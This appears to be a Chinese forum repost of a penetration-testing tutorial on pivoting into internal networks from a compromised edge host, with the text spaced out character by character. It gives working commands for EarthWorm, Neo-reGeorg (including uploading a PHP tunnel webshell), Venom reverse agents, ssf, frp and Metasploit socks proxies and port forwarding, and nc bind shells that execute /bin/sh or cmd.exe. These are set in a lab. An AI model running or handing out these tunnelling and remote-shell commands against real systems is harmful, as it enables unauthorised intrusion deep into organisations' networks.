搜索

[21944] 2021-05-07_内网穿透姿势汇总

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-18
2021-05-07_内网穿透姿势汇总 内 网 穿 透 姿 势 汇 总 转 自 安 全 先 师   L e m o n S e c   2 0 2 1 - 0 5 - 0 7 0 x 0 0   前 言 前 言 在 渗 透 中 拿 到 一 台 边 缘 机 器 后 剩 余 内 网 机 器 不 出 网 的 情 况 很 常 见 ， 这 时 我 们 就 需 要 把 内 网 机 器 流 量 转 到 边 缘 机 器 上 再 进 行 访 问 ， 内 网 流 量 转 出 来 的 方 法 很 多 ， 在 下 面 就 介 绍 几 种 常 见 的 方 法 在 渗 透 中 拿 到 一 台 边 缘 机 器 后 剩 余 内 网 机 器 不 出 网 的 情 况 很 常 见 ， 这 时 我 们 就 需 要 把 内 网 机 器 流 量 转 到 边 缘 机 器 上 再 进 行 访 问 ， 内 网 流 量 转 出 来 的 方 法 很 多 ， 在 下 面 就 介 绍 几 种 常 见 的 方 法 0 x 0 1   环 境 介 绍 环 境 介 绍 本 地 环 境 搭 建 ： 边 缘 机 器 ： 0 x 0 2   E a r t h W o r m 将 e w _ f o r _ w i n d o w s 上 传 到 边 缘 机 器 1 . 正 向 连 接 适 用 于 目 标 机 器 拥 有 一 个 外 网 i p 在 w i n 7 机 器 上 执 行 监 听 本 机 8 8 8 端 口 。 然 后 在 2 0 0 8 r 2 机 器 上 使 用 p r o x i f i e r 进 行 连 接 w i n d o w s   7 i p : 1 9 2 . 1 6 8 . 1 0 . 1 5 （ 外 ） 　 1 9 2 . 1 6 8 . 5 2 . 1 4 3 （ 内 ） 目 标 机 器 : w i n d o w s   2 0 0 8 R 2 i p : 1 9 2 . 1 6 8 . 5 2 . 1 3 8 攻 击 机 器 ： w i n d o w s   2 0 0 8 i p : 1 9 2 . 1 6 8 . 1 0 . 3 k a l i : m s f 5 : 1 9 2 . 1 6 8 . 1 0 . 1 4 m s f 6 : 1 9 2 . 1 6 8 . 1 0 . 1 1 e w   - s   s s o c k s d   - l   8 8 8
2 . 反 向 连 接 适 用 于 边 缘 机 器 无 公 网 i p 攻 击 机 器 上 执 行 对 外 1 2 3 4 端 口 转 发 到 1 0 8 0 端 口 然 后 边 缘 机 器 连 接 e w _ f o r _ W i n . e x e   - s   r c s o c k s   - l   1 0 8 0   - e   1 2 3 4 e w _ f o r _ W i n . e x e   - s   r s s o c k s   - d   1 9 2 . 1 6 8 . 1 0 . 3   - e   1 2 3 4
0 x 0 3   N e o - r e G e o r g 注 ： 这 里 需 要 p y t h o n 环 境 ， 在 2 0 0 8 R 2 上 弄 总 是 出 错 ， 切 到 物 理 机 进 行 实 验 ， 原 理 相 同 生 成 文 件 在 n e o r e g _ s e r v e r s 目 录 下 生 成 了 木 马 文 件 p y t h o n   n e o r e g . p y   g e n e r a t e   - k   1 2 3 4 5 6
这 里 w e b 机 器 解 析 p h p ， 所 以 我 上 传 一 个 t u n n e l . p h p 的 马 到 w e b 机 器 （ w i n 7 ） 上 攻 击 机 连 接 0 x 0 4   V e n o m p y t h o n   n e o r e g . p y   - k   1 2 3 4 5 6   - u   h t t p : / / 1 9 2 . 1 6 8 . 1 0 . 1 5 / t u n n e l . p h p
攻 击 机 器 上 执 行 边 缘 机 器 （ w i n 7 ） 执 行 攻 击 机 查 看 反 弹 成 功 执 行 命 令 a d m i n . e x e   - l p o r t   9 9 9 9 a g e n t . e x e   - r h o s t   1 9 2 . 1 6 8 . 1 0 . 3   - r p o r t   9 9 9 9 g o t o   1 s o c k s   6 6 6 6
0 x 0 5   s s f 1 . 正 向 连 接 把 c e r t s 文 件 夹 和 s s f d 上 传 到 边 缘 机 器 边 缘 机 器 开 启 1 3 3 3 端 口 攻 击 机 连 接 边 缘 机 器 的 1 3 3 3 端 口 ， 并 将 数 据 转 发 给 1 2 2 2 端 口 2 0 0 8 r 2 出 问 题 ， 换 到 物 理 机 上 执 行 s s f d . e x e   ‐ p   1 3 3 3 s s f d . e x e   ‐ D   1 2 2 2   ‐ p   1 3 3 3   1 9 2 . 1 6 8 . 1 0 . 1 5
2 . 反 向 连 接 攻 击 机 本 地 监 听 1 2 3 4 端 口 ， 命 令 如 下 ： 边 缘 机 器 连 接 1 2 3 4 端 口 ， 并 将 数 据 转 发 到 1 2 3 4 5 端 口 ， 命 令 如 下 ： 此 处 没 有 实 验 成 功 ， 还 是 写 下 步 骤 本 地 s o c k s 代 理 连 接 1 2 7 . 0 . 0 . 1   1 2 3 4 5 端 口 0 x 0 6   f r p s s f d . e x e   ‐ p   1 2 3 4 s s f . e x e   ‐ F   1 2 3 4 5   ‐ p   1 2 3 4   1 9 2 . 1 6 8 . 1 0 . 3
攻 击 机 设 置 f r p s . i n i 运 行 如 下 命 令 ： 在 边 缘 机 器 设 置 f r p c . i n i 执 行 如 下 命 令 ： 监 听 本 地 7 7 7 7 端 口 [ c o m m o n ] b i n d _ p o r t   =   6 6 6 6 f r p s . e x e   - c   f r p s . i n i [ c o m m o n ] s e r v e r _ a d d r   =   1 9 2 . 1 6 8 . 1 0 . 3 s e r v e r _ p o r t   =   6 6 6 6 [ h t t p _ p r o x y ] t y p e = t c p r e m o t e _ p o r t = 7 7 7 7 p l u g i n = s o c k s 5 f r p c . e x e   ‐ c   f r p c . i n i
0 x 0 7   m s f 在 m s f 6 下 只 剩 下 了 s o c k s _ p r o x y 这 个 模 块 还 是 先 修 改 p r o x y c h a i n s 4 . c o n f 这 个 配 置 文 件 添 加 路 由 使 用 模 块 这 里 注 意 一 下 ， 我 们 在 运 行 之 前 先 s h o w   o p t i o n s 一 下 ， 发 现 默 认 是 s o c k s 5 代 理 运 行 如 果 想 使 用 s o c k s 4 a 代 理 ， 添 加 如 下 语 句 即 可 s e t   v e r s i o n   4 a
修 改 浏 览 器 配 置 成 功 访 问 内 网 资 源 拓 展 ： p o r t f w d 端 口 转 发 p o r t f w d   是 m e t e r p r e t e r 提 供 的 一 种 基 本 的 端 口 转 发 。 p o r f w d 可 以 反 弹 单 个 端 口 到 本 地 ， 并 且 监 听 ， 使 用 方 法 如 下 然 后 我 们 访 问 本 地 3 3 8 9 0 x 0 8   n c 1 . 正 向 连 接 需 要 目 标 有 公 网 i p 目 标 机 器 攻 击 机 器 p o r t f w d   a d d   - l   3 3 8 9   - r   1 9 2 . 1 6 8 . 5 2 . 1 3 8   - p   3 3 8 9 n c   - l v p   4 4 4 4   - e   / b i n / s h   l i n u x n c   - l v p   4 4 4 4   - e   c : w i n d o w s s y s t e m 3 2 c m d . e x e   w i n d o w s n c   < 目 标 机 器 i p >   4 4 4 4
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理